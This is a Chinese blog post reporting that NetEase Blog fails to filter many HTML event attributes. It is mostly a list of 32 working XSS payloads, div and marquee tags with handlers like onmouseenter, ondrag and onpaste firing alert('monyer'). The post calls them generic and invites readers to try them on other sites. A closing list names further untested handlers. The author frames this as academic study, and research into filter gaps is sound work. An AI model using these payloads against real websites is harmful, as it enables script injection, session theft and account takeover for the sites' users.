网易博客的60余个事件触发式漏洞与30余个XSS利用程式

来源:梦之光芒

本以为网易博客的安全性应该跟百度差不多,但这一看似乎还有些距离。有待改进哦!

这次测试的仅仅是事件触发式漏洞,对于90余个出发点,百度仅仅落掉4个:onbeforeupdate、ondataavailable、 onrowsdelete、onrowsinserted。并且这四个的利用都需要xml的支持,利用困难;而网易仅仅过滤了不到30个。(这里需要说明一下,漏洞和利用是两码事,不是所有漏洞都可以利用的;所以以后大家发现某站点的XSS点,不要大叫大嚷了,只会让别人笑话而已。Monyer也仅作学术研究,没太多技术而言!)

这里Monyer对其中相对容易触发的30余个事件写出利用程式,并且尽量利用div等常用免过滤标签,这些程式都是通用了,所以你可以直接拿过来去测试其他站点。

触发事件漏洞:

1、onmouseenter:当鼠标进入选区执行代码
<div style="background-color:red" onmouseenter="alert('monyer')">123456</div>

2、onmouseleave:当鼠标离开选区执行代码
<DIV onmouseleave="alert('monyer')" style="BACKGROUND-COLOR: red">123456</DIV>

3、onmousewheel:当鼠标在选区滚轮时执行代码
<DIV onmousewheel="alert('monyer')" style="BACKGROUND-COLOR: red">123456</DIV>

4、onscroll:拖动滚动条执行代码
<div style="width:100px;height:100px;overflow:scroll" onscroll="alert('monyer')">123456
<br/>
<br/>
<br/>
<br/>
<br/>
</div>

5、onfocusin:当获得焦点时执行代码
<div contentEditable="true" style="background-color:red" onfocusin="alert('monyer')" >asdf</div>

6、onfocusout:当失去焦点时执行代码
<div contentEditable="true" style="background-color:red" onfocusout="alert('monyer')" >asdf</div>

7、onstart:当显示内容时执行代码
<marquee style="background-color:red" onstart="alert('monyer')" >asdf</marquee>

8、onbeforecopy:选中内容后右键执行代码
<div style="background-color:red;" onbeforecopy="alert('monyer')" >asdf</div>

9、onbeforecut:选中内容后右键执行代码
<div style="background-color:red;" onbeforecut="alert('monyer')" >asdf</div>

10、onbeforeeditfocus:当获得焦点时执行代码
<div style="background-color:red;" contentEditable="true" onbeforeeditfocus="alert('monyer')" >asdf</div>

11、onbeforepaste:选中内容后右键执行代码
<div style="background-color:red;" ="true" onbeforepaste="alert('monyer')" >asdf</div>

12、oncontextmenu:鼠标右键执行代码
<div style="background-color:red;" oncontextmenu="alert('monyer')" >asdf</div>

13、oncopy:鼠标右键执行复制时执行代码
<div style="background-color:red;" oncopy="alert('monyer')" >asdf</div>

14、oncut:鼠标右键执行剪切时执行代码
<div contentEditable="true" style="background-color:red;" oncut="alert('monyer')" >asdf</div>

15、ondrag:选择内容并拖动时执行代码
<div style="background-color:red;" ondrag="alert('monyer')" >asdf</div>

16、ondragend:选择内容并拖动松开鼠标执行代码
<div style="background-color:red;" ondragend="alert('monyer')" >asdf</div>

17、ondragenter:选择内容并拖动时执行代码
<div style="background-color:red;" ondragenter="alert('monyer')" >asdf</div>

18、ondragleave:选择内容并拖出边框执行代码
<div contentEditable="true" style="background-color:red;" ondragleave="alert('monyer')" >asdf</div>

19、ondragover:选择内容并拖动时执行代码
<div contentEditable="true" style="background-color:red;" ondragover="alert('monyer')" >asdf</div>

20、ondragstart:选择内容并拖动时执行代码
<div contentEditable="true" style="background-color:red;" ondragstart="alert('monyer')" >asdf</div>

21、ondrop:有内容被拖动进来时执行代码
<div contentEditable="true" style="background-color:red;" ondrop="alert('monyer')" >asdf</div>
<div contentEditable="true" style="background-color:green;" ondrop="alert('monyer')" >asdf</div>

22、onlosecapture:选择内容时执行代码
<div contentEditable="true" style="background-color:red;" onlosecapture="alert('monyer')" >asdf</div>

23、onpaste:粘贴时执行代码
<div contentEditable="true" style="background-color:red;" onpaste="alert('monyer')" >asdf</div>

24、onselectstart:选择内容时执行代码
<div contentEditable="true" style="background-color:red;" onselectstart="alert('monyer')" >asdf</div>

25、onhelp:进入焦点按F1时执行代码
<div contentEditable="true" style="background-color:red;" onhelp="alert('monyer')" >asdf</div>

26、onEnd:当时间线执行完毕时执行代码
<div STYLE="background-color:red;behavior:url('#default#time2')" onEnd="alert('monyer')">asdf</div>

27、onBegin:当时间线开始执行代码
<div STYLE="background-color:red;behavior:url('#default#time2')" onBegin="alert('monyer')">asdf</div>

28、onactivate:激活当前标签时执行代码
<div contentEditable="true" STYLE="background-color:red;" onactivate="alert('monyer')">asdf</div>

29、onfilterchange:当滤镜改变时执行代码
<div contentEditable="true" STYLE="background-color:red;filter: Alpha(opacity=100, style=2);" onfilterchange="alert('monyer')">asdf</div>

30、onbeforeactivate:当激活当前标签时执行代码
<div contentEditable="true" STYLE="background-color:red;" onbeforeactivate="alert('monyer')">asdf</div>

31、onbeforedeactivate:当标签内值改变时执行代码
<div contentEditable="true" STYLE="background-color:red;" onbeforedeactivate="alert('monyer')">asdf</div>

32、ondeactivate:当标签内值改变时执行代码
<div contentEditable="true" STYLE="background-color:red;" ondeactivate="alert('monyer')">asdf</div>

另外一些没有写出利用程式的出发点,因为利用起来相对困难。如果大家有什么好的利用程式,请一定不要藏私哦!呵呵。不妨拿出来让大家学习一下,Monyer在此表示感谢:

onResume
onReverse
onRowDelete
onRowInserted
onSeek
onSynchRestored
onTimeError
onTrackChange
onURLFlip
onRepeat
onMediaComplete
onMediaError
onPause
onProgress
onOutOfSync
oncontrolselect
onlayoutcomplete
onafterprint
onbeforeprint
ondataavailable
ondatasetchanged
ondatasetcomplete
onerrorupdate
onrowenter
onrowexit
onrowsdelete
onrowsinserted
onselectionchange
onbounce
onfinish
onstop
onresizeend
onresizestart
onbeforeunload
onmoveend
onmovestart
<input onpropertychange="alert('XSS')">asdf</div>

这次检测的仅仅是网易博客的事件触发式漏洞,等他们补差不多了,我们再去探索其他的漏洞,学习技术而已。

相关日志

发表评论